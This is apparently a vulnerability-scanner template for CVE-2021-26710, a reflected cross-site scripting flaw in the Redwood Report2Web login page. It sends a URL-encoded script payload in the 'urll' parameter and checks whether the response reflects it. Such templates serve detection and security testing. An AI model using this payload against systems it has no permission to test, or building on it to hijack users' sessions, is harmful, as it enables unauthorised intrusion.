id: CVE-2021-26710

info:
  name: Redwood v4.3.4.5-v4.5.3 XSS
  author: pikpikcu
  severity: medium
  description: A cross-site scripting (XSS) issue in the login panel in Redwood Report2Web 4.3.4.5 and 4.5.3 allows remote attackers to inject JavaScript via the signIn.do urll parameter.
  reference:
    - https://vict0ni.me/report2web-xss-frame-injection.html
    - https://vict0ni.me/redwood-report2web-xss-and-frame-injection/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26710
    cwe-id: CWE-79
  tags: cve,cve2021,redwood,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "><script>alert(document.domain)</script>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header